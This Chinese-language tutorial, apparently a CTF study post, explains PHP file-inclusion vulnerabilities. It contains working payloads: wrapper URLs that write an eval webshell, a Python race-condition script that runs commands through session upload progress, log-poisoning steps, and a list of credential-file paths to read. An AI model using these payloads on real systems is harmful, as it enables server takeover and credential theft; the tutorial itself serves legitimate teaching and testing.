文件包含总结
概念
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这样能够避免了同一个功能重复造轮子,减少了重复代码量,减少了开发时间,提高效率,总之,文件包含是一个十分有用的功能。文件包含漏洞是利用文件包含的函数进行攻击,引入设计者非预期的文件。文件包含又分为本地文件包含和远程文件包含。
原理
当PHP函数引入文件时,由于传入的文件名没有经过合理的检验,从而引入了非预期的文件,这就造成了文件包含漏洞。
对于PHP而言,文件包含的函数有:
- include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
- include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
- require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
- require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用这四个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url、也都将作为PHP代码执行。这一特性,在实施攻击时非常有用。
example:
<?php
include($_GET[test]);
?>
这个php文件没有对传入的参数做任何过滤就引入到include()
函数中,造成文件包含漏洞。
条件
要想成功利用文件包含漏洞,需要满足下面两个条件:
- include()等函数通过动态变量的方式引入需要包含的文件;
- 用户能控制该动态变量。
危害
文件包含不仅仅能够查看服务器上的文件,通过远程包含或者结合文件上传漏洞,包含恶意文件从而达到控制服务器的目的。
远程文件包含
远程文件包含(Remote File Inclusion, RFI)是指包含远程服务器上的文件。这需要PHP的配置文件中allow_url_include
设为ON
。
从这里可以看出,攻击者可以利用自己的服务器上的恶意文件,然靶机的文件包含这个恶意文件来上传 Webshell 。
本地文件包含
本地文件包含(Local File Inclusion,LFI)是指打开包含本地系统的文件。
本地文件包含的利用方式虽然不像远程文件包含那样能随意执行文件,但是也有几种常用的利用方式。
查看本地文件
查看本地文件是本地文件包含最基础的一种利用方式,概念中的example就是一个典型的利用本地文件包含查看文件内容。以下是一些敏感文件的路径:
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
php伪协议
file://协议
allow_url_fopen=On/Off、allow_url_include=On/Off
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件
file:// [文件的绝对路径和文件名]
example:
http://192.168.91.134/include.php?test=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php
php://协议
php://input
php://filter
php://input用于执行PHP代码,php://filter用于读取源码。
php://filter
php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。
?file=php://filter/convert.base64-encode/resource=xxx.php
example:
?test=php://filter/convert.base64-encode/resource=include.php
base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。
php://input
allow_url_include=On
php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents
获取php://input内容(POST),当enctype="multipart/form-data"
的时候 php://input是无效的。
?file=php://input 数据利用POST传过去
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。
example:
?include=php://input
POST数据:
<?php phpinfo()?>
#或者直接一句话木马也行
<?php echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));?>
值得一提的是,这里使用HackBar POST数据的时候需要选择(raw),否者参数后面的内容会进行URL编码,导致了后端无法识别;而且需要给一个参数名字(任意),不能直接发送内容。
data://协议
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。
allow_url_include=On、allow_url_fopen=On
php版本 ≥ 5.2
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==
#最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中
example:
http://192.168.91.149/include.php?test=data://text/plain,<?php phpinfo()?>
phar://协议
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下方式进行利用。
php版本 ≥ 5.3
利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
example:
假设有个上传文件地方,我们把文件phpinfo.txt
压缩为phpinfo.zip
,上传到服务器中
http://192.168.91.134/include.php?test=phar://phpinfo.zip/phpinfo.txt
这里使用了相对路径,当然知道绝对路径也可使使用绝对路径。
zip://, bzip2://, zlib://协议
3个封装协议,都是直接打开压缩文件。
- compress.zlib://file.gz – 处理的是 ‘.gz’ 后缀的压缩包
- compress.bzip2://file.bz2 – 处理的是 ‘.bz2’ 后缀的压缩包
- zip://archive.zip#dir/file.txt – 处理的是 ‘.zip’ 后缀的压缩包里的文件
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
allow_url_fopen=on/off、allow_url_include=on/off
php 版本大于等于 php5.3.0
zip://协议
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
zip://archive.zip#dir/file.txt
要用绝对路径+url编码#
即%23
example:
http://192.168.91.134/include.php?test=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt
bzip2://协议
compress.bzip2://file.bz2
绝对/相对路径都可以
example:
http://192.168.91.134/include.php?test=compress.bzip2://D:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
zlib://协议
compress.zlib://file.bz2
绝对/相对路径都可以
example:
http://192.168.91.134/include.php?test=compress.zlib://phpinfo.gz
小结
包含Session文件
Session文件路径已知,且其中内容的部分可控。
首先第一个条件:Session的文件路径可以在php.ini中的session.save_path
字段查看到:
一般而言,session文件的存放位置为:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
第二个条件:内容可控,这个要求较为苛刻,有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。如通过session.upload_progress
来控制session的内容。
利用session.upload_progress
来进行命令执行
当session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。通常这些键值可以通过读取INI设置来获得。
将$_SESSION[$key]["cancel_upload"]
设置为true
,还可以取消一个正在处理中的文件上传。当在同一个请求中上传多个文件,它仅会取消当前正在处理的文件上传和未处理的文件上传,但是不会移除那些已经完成的上传。当一个上传请求被这么取消时,$_FILES
中的error
将会被设置为 UPLOAD_ERR_EXTENSION
。
session.upload_progress.freq
和session.upload_progress.min_freq
INI选项控制了上传进度信息应该多久被重新计算一次。通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
默认值
此功能在php5.4添加,php.ini
有以下默认项:
session.upload_progress.enabled = on
:表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要session.upload_progress.prefix = "upload_progress_"
:表示为session中的键名前缀session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
:表示为session中的键名主值,prefix+name
将表示为session中的键名session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
session.auto_start = Off
:PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。session.use_strict_mode = 0
:默认非严格模式,此时用户是可以自己定义Session ID的。
原理
利用session.upload_progress
上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件(即条件竞争)。PHPSESSID
必须要有,因为要竞争同一个文件
条件
- 存在文件包含漏洞
- 得知session文件存放路径
- 有读写session文件权限
import io
import sys
import requests
import threading
sessid = 'jan'
sess_path='/tmp'
url='http://xxx:xxx/'
cmd='cat flag.php'
def WRITE(session):
while True:
f = io.BytesIO(b'x' * 1024 * 50)
session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?php system('{cmd}');?>"},
files={"file":('xxx.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{url}?file={sess_path}/sess_{sessid}')
if 'upload_progress_' in response.text:
print(response.text)
sys.exit(0)
else:
print('++++++retry++++++')
def main():
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
if __name__ == '__main__':
main()
包含日志文件
前提条件:要知道服务器日志的存储路径,且日志文件可读。
服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的PHP代码已经写入了 D:\phpStudy\PHPTutorial\Apache\logs\error.log
。然后进行包含即可。
http://192.168.91.134/include.php?test=D:\phpStudy\PHPTutorial\Apache\logs\error.log
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log
包含SSH log
条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
example:
用ssh连接:
ssh <?php phpinfo();?>@192.168.91.149
这是在服务器上的auth.log
文件上就会记录下如下内容:
再进行文件包含即可:
包含environ
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
?file=../../../../../../../proc/self/environ
在访问的时候抓包把user-agent修改为<?php phpinfo();?>
即可。
这个没有尝试成功,这一个文件似乎没有user-agent???
包含临时文件
以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效。
php中上传文件,会创建临时文件。在linux下使用/tmp
目录,而在windows下使用c:\winsdows\temp
目录。在临时文件被删除之前,利用条件竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的。
或者利用phpinfo能查看临时文件名字的方法去进行利用:
绕过方式
00字符截断
PHP版本<=5.3.4
magic_quotes_gpc = Off
file=../../etc/passwd%00
example:
<?php
include($_GET['a'].'.php')
?>
这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件。
?a=info.php%00
%00 会被解析为0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制
路径长度截断
php版本小于5.3.10
文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃。
././././././././././././abc..........
//////////////////abc.........
../1/abc../1/abc../1/abc........
就是在后面接很多个.
,让后面的后缀抛弃掉。
目录遍历
可以使用../../../
这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :
%2e%2e%2f -> ../
%2e%2e/ -> ../
..%2f -> ../
%2e%2e%5c -> ..\
%2e%2e%\ -> ..\
..%5c -> ..\
%252e%252e%255c -> ..\
..%255c -> ..\
URL绕过
假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php
query(?)
?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
fragment(#)
?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
require_once绕过重复包含文件
原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列)
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
root@ubuntu:/var/log/apache2# cd /proc/self/root/
root@ubuntu:/proc/self/root# ls
bin dev home lib media proc sbin swapfile tmp vmlinuz
boot etc initrd.img lib64 mnt root snap sys usr vmlinuz.old
cdrom flag initrd.img.old lost+found opt run srv test var
root@ubuntu:/proc/self/root# cd /
root@ubuntu:/# ls
bin dev home lib media proc sbin swapfile tmp vmlinuz
boot etc initrd.img lib64 mnt root snap sys usr vmlinuz.old
cdrom flag initrd.img.old lost+found opt run srv test var
可以看到这里/proc/self/root/
和/
指向的目录是一样的。
example:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
这样就可以绕过require_once()
只能包含一次相同文件的限制。
php://filter绕过exit
有时候后端会对我们输入的代码前面加上一段exit()
函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter
伪协议对内容进行编码解码,即可绕过